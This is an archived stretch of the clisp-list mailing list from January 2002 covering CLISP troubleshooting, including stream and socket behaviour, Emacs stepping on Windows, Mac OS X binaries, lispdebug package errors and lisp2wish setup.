why your > > > attempt at adding the pipe stuff failed). So it just looks at the > > > eltype or whatever member of the Stream structure, (which is > > > uninitialized in these cases), compares it to Character, finds that > > > it's different, and then tries to listen_byte on a character stream, > > > which naturally fails. So it thinks there's no input available. > > > > I don't think this is the problem. > Why not? What's inaccurate in what I said? you are actually correct!! I debugged the patch and what you said was actually the root of the problem. I will not have unix access over the weekend though - please try to work on this yourself. > > > Semi-related is the fact that socket-status :input on a buffered > > > stream should probably check whether there's data in the buffer before > > > calling select. If there's data available, set the timeout to zero, > > > remove the stream from the list to check, use select (with the zero > > > timeout) to check the other streams, and then cons up the answers. > > > Otherwise, socket-status will still give the wrong answer in some > > > cases. > > > > why remove it? > > Because select will probably give you the wrong answer. I don't mean > remove as in not to give an answer to the caller, just that > socket-status can't rely on select to provide it in that case. using (buffer || select) should work -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! OK, so you're a Ph.D. Just don't touch anything. From samuel.steingold@verizon.net Fri Jan 18 20:01:56 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RmhX-0004ta-00 for ; Fri, 18 Jan 2002 20:01:55 -0800 Received: from xchange.com ([151.203.224.58]) by out019.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020119040149.EHTQ4913.out019.verizon.net@xchange.com>; Fri, 18 Jan 2002 22:01:49 -0600 To: "Bill Clementson" Cc: Subject: Re: [clisp-list] Problem using step in emacs with clisp References: <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 20:02:03 2002 X-Original-Date: 18 Jan 2002 23:01:36 -0500 > * In message <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com> > * On the subject of "[clisp-list] Problem using step in emacs with clisp" > * Sent on Fri, 18 Jan 2002 15:02:03 -0700 > * Honorable "Bill Clementson" writes: > > Does anyone know why the debugging command "step" would work fine when clisp is > started from a command line but not from within an emacs shell or from within a > lisp buffer in emacs (using ilisp)? > > I am using emacs 21.1 on Windows2000 with the cvs version of ilisp and > clisp 2.27. the clisp interaction buffer is in "dos" mode, so lines are terminated with CR/LF instead of the plain LF. this affects only "commands", not the usual lisp forms. This should be fixed in the CVS CLISP. You can put the code from CLISP/emacsc/clisp-coding.el into your ~/.emacs: ;; For CLISP in `inferior-lisp-mode' under win32 (modify-coding-system-alist 'process "lisp" 'unix) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! We're too busy mopping the floor to turn off the faucet. From rainer@cui.unige.ch Sat Jan 19 08:49:14 2002 Received: from smtp-out-1.wanadoo.fr ([193.252.19.188] helo=mel-rto1.wanadoo.fr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ryg6-000403-00 for ; Sat, 19 Jan 2002 08:49:14 -0800 Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto1.wanadoo.fr; 19 Jan 2002 17:49:07 +0100 Received: from [80.9.194.87] (80.9.194.87) by mel-rta9.wanadoo.fr; 19 Jan 2002 17:48:54 +0100 X-Sender: rainer@cuimail.unige.ch (Unverified) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: clisp-list@lists.sourceforge.net From: rainer@cui.unige.ch (Rainer Boesch) Subject: [clisp-list] clisp on Macintosh Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 19 08:50:02 2002 X-Original-Date: Sat, 19 Jan 2002 17:42:26 +0100 hello! I am a musician and write most of my compositions in Common Lisp on Macintosh. I want to teach now some of the composition programming to my students and would like to do this in a free Lisp which is the same on Mac an PC - I downloaded clisp-2.27.Windows and even I am not used at all at Windows, could run CLisp without problems then I tried clisp-2.27-PowerMacintosh-power but have no idea how to make this run?? any help possible? 1000 thanks rainer From samuel.steingold@verizon.net Sat Jan 19 09:54:25 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RzhA-0007cR-00 for ; Sat, 19 Jan 2002 09:54:24 -0800 Received: from xchange.com ([151.203.224.58]) by out020.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020119175418.GFFV4908.out020.verizon.net@xchange.com>; Sat, 19 Jan 2002 11:54:18 -0600 To: rainer@cui.unige.ch (Rainer Boesch) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Macintosh References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 19 09:55:03 2002 X-Original-Date: 19 Jan 2002 12:54:03 -0500 > * In message > * On the subject of "[clisp-list] clisp on Macintosh" > * Sent on Sat, 19 Jan 2002 17:42:26 +0100 > * Honorable rainer@cui.unige.ch (Rainer Boesch) writes: > > then I tried > clisp-2.27-PowerMacintosh-power > but have no idea how to make this run?? the binary we distribute is for MacOS/X and was built by Josh Flowers . you run it the same way you run other CLISP distributions: lisp.run -M lispinit.mem -B . or using a clisp batch or executable wrapper. what exactly is your problem? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Why do we want intelligent terminals when there are so many stupid users? From bc19191@attbi.com Sat Jan 19 15:15:23 2002 Received: from rwcrmhc53.attbi.com ([204.127.198.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16S4hn-0004qo-00 for ; Sat, 19 Jan 2002 15:15:23 -0800 Received: from c1652423a ([12.253.95.235]) by rwcrmhc53.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020119231518.KUFK10199.rwcrmhc53.attbi.com@c1652423a>; Sat, 19 Jan 2002 23:15:18 +0000 Message-ID: <002901c1a13f$7baafea0$eb5ffd0c@attbi.com> From: "Bill Clementson" To: Cc: References: <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com> Subject: Re: [clisp-list] Problem using step in emacs with clisp MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 19 15:16:01 2002 X-Original-Date: Sat, 19 Jan 2002 16:17:36 -0700 That fixed it - thanks a lot!! From: "Sam Steingold": > > * In message <000801c1a06b$c2e336e0$eb5ffd0c@attbi.com> > > * On the subject of "[clisp-list] Problem using step in emacs with clisp" > > * Sent on Fri, 18 Jan 2002 15:02:03 -0700 > > * Honorable "Bill Clementson" writes: > > > > Does anyone know why the debugging command "step" would work fine when clisp is > > started from a command line but not from within an emacs shell or from within a > > lisp buffer in emacs (using ilisp)? > > > > I am using emacs 21.1 on Windows2000 with the cvs version of ilisp and > > clisp 2.27. > > the clisp interaction buffer is in "dos" mode, so lines are terminated > with CR/LF instead of the plain LF. this affects only "commands", not > the usual lisp forms. > > This should be fixed in the CVS CLISP. > > You can put the code from CLISP/emacsc/clisp-coding.el into your ~/.emacs: > > ;; For CLISP in `inferior-lisp-mode' under win32 > (modify-coding-system-alist 'process "lisp" 'unix) > From olczyk@interaccess.com Sat Jan 19 23:37:14 2002 Received: from from.interaccess.com ([207.208.131.20] helo=postal.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SCXS-0000us-00 for ; Sat, 19 Jan 2002 23:37:14 -0800 Received: from d176.focal10.interaccess.com (d176.focal10.interaccess.com [207.208.141.176]) by postal.interaccess.com (8.10.2/8.10.2) with SMTP id g0K7b2M03691 for ; Sun, 20 Jan 2002 01:37:04 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c4b6db7.172259546@smtp.interaccess.com> X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Can anyone help me lispdebug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 19 23:38:03 2002 X-Original-Date: Sun, 20 Jan 2002 07:37:12 GMT I'm trying to get this package working with 2.27, but have several problems: 1) The first is that it doesn't like my version of tk/tcl ( it says above 8.1 mine is 8.3 ). To fix this I modify the configure.in which seems to work. 2) I seem to get all sorts of package errors. Everytime I modify the build process I get more errors. The first one ( if I remeber correctly is ) was special-form-p which I replaced with ext:special-form-p. I get errors about the package SYMBOL being missing ( I couldn't find it in the source ). fundamental-input stream got changed to gray:fundamental-input-stream. Then when loading debugger.fas, it complained that the package DEBUGGER wasn't defined. I figure ( and am desperately hoping ) that it's something that a few changes can fix, but I can't figure out what those changes were. Can anyone help? From edi@agharta.de Sat Jan 19 23:56:30 2002 Received: from bird.agharta.de ([62.159.208.85]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SCq2-0005TY-00 for ; Sat, 19 Jan 2002 23:56:26 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 1093112EB87; Sun, 20 Jan 2002 08:56:02 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: <3c4b6db7.172259546@smtp.interaccess.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 19 23:57:04 2002 X-Original-Date: 20 Jan 2002 08:56:02 +0100 olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > I'm trying to get this package working with 2.27, but have several > problems: > 1) The first is that it doesn't like my version of tk/tcl ( it says > above 8.1 mine is 8.3 ). To fix this I modify the configure.in > which seems to work. > 2) I seem to get all sorts of package errors. Everytime I modify the > build process I get more errors. The first one ( if I remeber > correctly is ) was special-form-p which I replaced with > ext:special-form-p. I get errors about the package SYMBOL > being missing ( I couldn't find it in the source ). fundamental-input > stream got changed to gray:fundamental-input-stream. > Then when loading debugger.fas, it complained that the package > DEBUGGER wasn't defined. > > I figure ( and am desperately hoping ) that it's something that a few > changes can fix, but I can't figure out what those changes were. > Can anyone help? I can't help directly but I can confirm that (after patching configure.in to recognize Tcl/Tk 8.3) it works fine with CMUCL. I think what you're encountering must be due to changes in CLISP since lispdebug was released. Edi. From olczyk@interaccess.com Sun Jan 20 04:49:05 2002 Received: from from.interaccess.com ([207.208.131.20] helo=neuman.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SHPE-0003ck-00 for ; Sun, 20 Jan 2002 04:49:04 -0800 Received: from d176.focal10.interaccess.com (d176.focal10.interaccess.com [207.208.141.176]) by neuman.interaccess.com (8.10.2/8.10.2) with SMTP id g0KCmua00128 for ; Sun, 20 Jan 2002 06:48:57 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c4bbc6b.192407812@smtp.interaccess.com> References: <3c4b6db7.172259546@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 20 04:50:02 2002 X-Original-Date: Sun, 20 Jan 2002 12:49:13 GMT Sorry Doc. I didn't realise the reply to was to the sender and not to the list. Resent to the list. On 20 Jan 2002 08:56:02 +0100, edi@agharta.de (Dr. Edmund Weitz) wrote: >olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > >> I'm trying to get this package working with 2.27, but have several >> problems: >> 1) The first is that it doesn't like my version of tk/tcl ( it says >> above 8.1 mine is 8.3 ). To fix this I modify the configure.in >> which seems to work. >> 2) I seem to get all sorts of package errors. Everytime I modify the >> build process I get more errors. The first one ( if I remeber >> correctly is ) was special-form-p which I replaced with >> ext:special-form-p. I get errors about the package SYMBOL >> being missing ( I couldn't find it in the source ). fundamental-input >> stream got changed to gray:fundamental-input-stream. >> Then when loading debugger.fas, it complained that the package >> DEBUGGER wasn't defined. >>=20 >> I figure ( and am desperately hoping ) that it's something that a few >> changes can fix, but I can't figure out what those changes were. >> Can anyone help? > >I can't help directly but I can confirm that (after patching >configure.in to recognize Tcl/Tk 8.3) it works fine with CMUCL. I >think what you're encountering must be due to changes in CLISP since >lispdebug was released. > I've actually discovered what the problem is: I've cut and paste this piece with the bug in it. ( I put in the format. ) (format *standard-output* "~%Entering offending party ~%") (defun parse-definition-package (source i l) (declare (string source) (fixnum i l)) (let ((symbol "")) (declare (string symbol)) (multiple-value-setq (symbol i) (parse-definition-string source i l)) (format *standard-output* "symbol-name-1:~S~%" symbol) (when (not (string=3D symbol "")) (format *standard-output* "symbol-name:~S~%" symbol) (when (not (find-package symbol)) (make-package symbol)) ; ******** This line generates error. (in-package symbol)) i)) (format *standard-output* "Exiting offending party ~%") Loading it I get the error between the first format and the last. The others do not get executed. This happens while the compiler is loading the file so in the line with the error ( find-package symbol ) trys to find the package "SYMBOL" at the time of loading, not when the function is called. Any idea how to fix this? From samuel.steingold@verizon.net Sun Jan 20 07:05:01 2002 Received: from mta015pub.verizon.net ([206.46.170.218] helo=mta015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SJWl-0001rK-00 for ; Sun, 20 Jan 2002 07:04:59 -0800 Received: from xchange.com ([151.203.224.58]) by mta015.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020120150457.JYCW9120.mta015.verizon.net@xchange.com>; Sun, 20 Jan 2002 09:04:57 -0600 To: olczyk@interaccess.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c4bbc6b.192407812@smtp.interaccess.com> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 20 07:05:14 2002 X-Original-Date: 20 Jan 2002 10:04:31 -0500 > * In message <3c4bbc6b.192407812@smtp.interaccess.com> > * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" > * Sent on Sun, 20 Jan 2002 12:49:13 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > (format *standard-output* "~%Entering offending party ~%") > (defun parse-definition-package (source i l) > (declare (string source) (fixnum i l)) > (let ((symbol "")) > (declare (string symbol)) > (multiple-value-setq (symbol i) (parse-definition-string source i > l)) > (format *standard-output* "symbol-name-1:~S~%" symbol) > (when (not (string= symbol "")) > (format *standard-output* "symbol-name:~S~%" symbol) > (when (not (find-package symbol)) (make-package symbol)) ; > ******** This line generates error. > (in-package symbol)) > i)) > (format *standard-output* "Exiting offending party ~%") > > > Loading it I get the error between the first format and the last. > The others do not get executed. This happens while the compiler is > loading the file so in the line with the error ( find-package symbol ) > trys to find the package "SYMBOL" at the time of loading, not when the > function is called. > > Any idea how to fix this? set *package-tasks-treat-specially* to NIL. (this is the default in the CVS) when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c are treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)), which is good for "novice users" (for some definition of a novice). these days everyone knows to use DEFPACKAGE, so it's okay to turn this off. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Lisp: its not just for geniuses anymore. From olczyk@interaccess.com Sun Jan 20 20:29:34 2002 Received: from from.interaccess.com ([207.208.131.20] helo=clavin.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SW5O-00083P-00 for ; Sun, 20 Jan 2002 20:29:34 -0800 Received: from d94.focal10.interaccess.com (d94.focal10.interaccess.com [207.208.141.94]) by clavin.interaccess.com (8.10.2/8.10.2) with SMTP id g0L4TLb22274 for ; Sun, 20 Jan 2002 22:29:23 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c4b98b5.248801796@smtp.interaccess.com> References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 20 20:30:02 2002 X-Original-Date: Mon, 21 Jan 2002 04:29:36 GMT On 20 Jan 2002 10:04:31 -0500, Sam Steingold wrote: >> * In message <3c4bbc6b.192407812@smtp.interaccess.com> >> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" >> * Sent on Sun, 20 Jan 2002 12:49:13 GMT >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: >> >> (format *standard-output* "~%Entering offending party ~%") >> (defun parse-definition-package (source i l) >> (declare (string source) (fixnum i l)) >> (let ((symbol "")) >> (declare (string symbol)) >> (multiple-value-setq (symbol i) (parse-definition-string source i >> l)) >> (format *standard-output* "symbol-name-1:~S~%" symbol) >> (when (not (string=3D symbol "")) >> (format *standard-output* "symbol-name:~S~%" symbol) >> (when (not (find-package symbol)) (make-package symbol)) ; >> ******** This line generates error. >> (in-package symbol)) >> i)) >> (format *standard-output* "Exiting offending party ~%") >>=20 >>=20 >> Loading it I get the error between the first format and the last. >> The others do not get executed. This happens while the compiler is >> loading the file so in the line with the error ( find-package symbol ) >> trys to find the package "SYMBOL" at the time of loading, not when the >> function is called. >>=20 >> Any idea how to fix this? > >set *package-tasks-treat-specially* to NIL. >(this is the default in the CVS) > >when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c are >treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)), >which is good for "novice users" (for some definition of a novice). > >these days everyone knows to use DEFPACKAGE, so it's okay to turn this >off.=20 Can you be a bit more specific? Your approach doesn't seem to be working. From johann.murauer@utimaco.at Mon Jan 21 05:21:55 2002 Received: from [212.183.10.50] (helo=utimaco.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SeOY-0000v3-00 for ; Mon, 21 Jan 2002 05:21:55 -0800 Received: (from smtp@localhost) by utimaco.at (8.11.1/8.11.1) id g0LFJVH40301 for ; Mon, 21 Jan 2002 15:19:31 GMT (envelope-from johann.murauer@utimaco.at) X-Authentication-Warning: Internet-Router.utimaco.at: smtp set sender to using -f Received: from linz1(10.1.0.25), claiming to be "linz1.utimaco.at" via SMTP by Internet-Router, id smtpdL40299; Mon Jan 21 15:19:30 2002 To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: johann.murauer@utimaco.at X-MIMETrack: Serialize by Router on Linz1/Utimaco/AT(Release 5.0.5 |September 22, 2000) at 01/21/2002 02:24:29 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [clisp-list] lisp2wish - getting started problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 05:22:04 2002 X-Original-Date: Mon, 21 Jan 2002 14:24:29 +0100 Hi, I want to use CLISP, lisp2wish and wish83 on Windows XP. As a bloody beginner I run into some troubles. I installed clisp 2.27 I installed wish83 I downloaded / copied lisp2wish.lisp Now: I start wish83 --- works I started clisp and then: (load "lisp2wish.lisp") --- okay Then I typed (test-wish) and got this: *** - EVAL: the function WISH::RUN-PROGRAM is undefined At next I typed (run-program "notepad.exe") and notepad starts, so run-program is available. So, what's wrong? Do I have to change something in lisp2wish.lisp? And could anybody give me a very simple "hello world, getting started with lisp2wish" tutorial? Best regards, Johann Murauer jmurauer@acm.org From samuel.steingold@verizon.net Mon Jan 21 06:34:42 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SfWz-0005y9-00 for ; Mon, 21 Jan 2002 06:34:41 -0800 Received: from xchange.com ([12.25.11.194]) by out018.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020121143438.OHTN4896.out018.verizon.net@xchange.com>; Mon, 21 Jan 2002 08:34:38 -0600 To: johann.murauer@utimaco.at Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp2wish - getting started problem References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 06:35:03 2002 X-Original-Date: 21 Jan 2002 09:34:36 -0500 > * In message > * On the subject of "[clisp-list] lisp2wish - getting started problem" > * Sent on Mon, 21 Jan 2002 14:24:29 +0100 > * Honorable johann.murauer@utimaco.at writes: > > *** - EVAL: the function WISH::RUN-PROGRAM is undefined find the definition of the package WISH and make it use EXT. (add a (:USE "EXT") clause to the DEFPACKAGE form) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! cogito cogito ergo cogito sum From samuel.steingold@verizon.net Mon Jan 21 06:36:25 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SfYe-0006IG-00 for ; Mon, 21 Jan 2002 06:36:24 -0800 Received: from xchange.com ([12.25.11.194]) by out018.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020121143623.OHYO4896.out018.verizon.net@xchange.com>; Mon, 21 Jan 2002 08:36:23 -0600 To: olczyk@interaccess.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c4b98b5.248801796@smtp.interaccess.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 06:37:06 2002 X-Original-Date: 21 Jan 2002 09:36:21 -0500 > * In message <3c4b98b5.248801796@smtp.interaccess.com> > * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" > * Sent on Mon, 21 Jan 2002 04:29:36 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > On 20 Jan 2002 10:04:31 -0500, Sam Steingold wrote: > > >set *package-tasks-treat-specially* to NIL. > >(this is the default in the CVS) > > > >when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c are > >treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)), > >which is good for "novice users" (for some definition of a novice). > > > >these days everyone knows to use DEFPACKAGE, so it's okay to turn this > >off. > Can you be a bit more specific? > Your approach doesn't seem to be working. what did you do? I am not clairvoyant (unfortunately). (describe '*package-tasks-treat-specially*) ==> ? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If it has syntax, it isn't user friendly. From johann.murauer@utimaco.at Mon Jan 21 06:49:19 2002 Received: from [212.183.10.50] (helo=utimaco.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Sfl8-00012G-00 for ; Mon, 21 Jan 2002 06:49:18 -0800 Received: (from smtp@localhost) by utimaco.at (8.11.1/8.11.1) id g0LGkvh40512 for ; Mon, 21 Jan 2002 16:46:57 GMT (envelope-from johann.murauer@utimaco.at) X-Authentication-Warning: Internet-Router.utimaco.at: smtp set sender to using -f Received: from linz1(10.1.0.25), claiming to be "linz1.utimaco.at" via SMTP by Internet-Router, id smtpdc40510; Mon Jan 21 16:46:51 2002 Subject: Re: [clisp-list] lisp2wish - getting started problem To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: johann.murauer@utimaco.at X-MIMETrack: Serialize by Router on Linz1/Utimaco/AT(Release 5.0.5 |September 22, 2000) at 01/21/2002 03:51:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 06:50:03 2002 X-Original-Date: Mon, 21 Jan 2002 15:51:49 +0100 Thanks, that did it .... Now I would be happy if I have a lisp2wish - document for beginners. Getting started, how to use it, small examples .... Any pointers? Regards, Johann 